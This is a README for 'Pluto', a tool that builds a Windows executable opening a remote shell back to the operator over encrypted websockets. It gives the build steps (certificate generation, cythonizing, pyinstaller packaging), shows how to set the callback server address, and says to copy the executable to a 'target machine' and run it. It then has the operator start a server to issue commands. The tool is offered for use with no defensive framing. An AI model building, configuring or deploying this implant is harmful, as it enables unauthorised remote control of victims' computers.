Pluto

Acknowledgement

First i would like to thank the All-Mighty God who is the source of all knowledge, without Him, this would not be possible.

Introduction

This repository provides code that allows you to create an executable that can establish a remote shell back to your machine via websockets

Features

• Self-Contained Python Executable
• Remote Command Execution via Windows CLI via

Dependencies

• OpenSsl (you probably need to get gitbash for this)
• numpy
• PyQt6
• websockets
• backoff
• pyinstaller
• opencv-python

Installation

requirements.txt installation

Navigate to the src directory and install the requirements.txt

pip3 install -r requirments.txt

Certificate generation

First ensure you have openssl installed on your windows box, the easiest way is to do this from a gitbash terminal

Run the create_keys.py script, you can pass your servers IP (the controlling machine) to the script via cli args like so:

python create_keys.py --ip 10.0.0.123

It will create the certificate.pem and private.key files in the pluto directory

Create the executable

Navigate to the src directory and execute the following commands from there:

python3 cythonize_pluto.py
pyinstaller  --one-file --log-level=DEBUG pluto.spec

You can change the address of the server in the src/pluto.py by changing the default server address to your ip

    parser.add_argument(
        "--server_address",
        default="wss://192.168.1.154:8765",
        help="WebSocket server address (default: wss://192.168.1.154:8765)",
    )

Or you can just invoke it with the args like so

 .\pluto_windows.exe --server_address wss://192.168.1.154:8765

The executable will be in the pluto_dist directory and it will be named pluto_windows.exe

Deployment

Copy pluto_windows.exe to your target machine and execute it.

On your computer run the server

python3 websocket_server.py

You should see a "hello server message as seen in the screenshot below"

Future developments

If you look in the src file, you would find a c# implementation and some other python files, those are for future development

Contribution

Please feel free to open a pull request to contribute code to this repository

Happy Hacking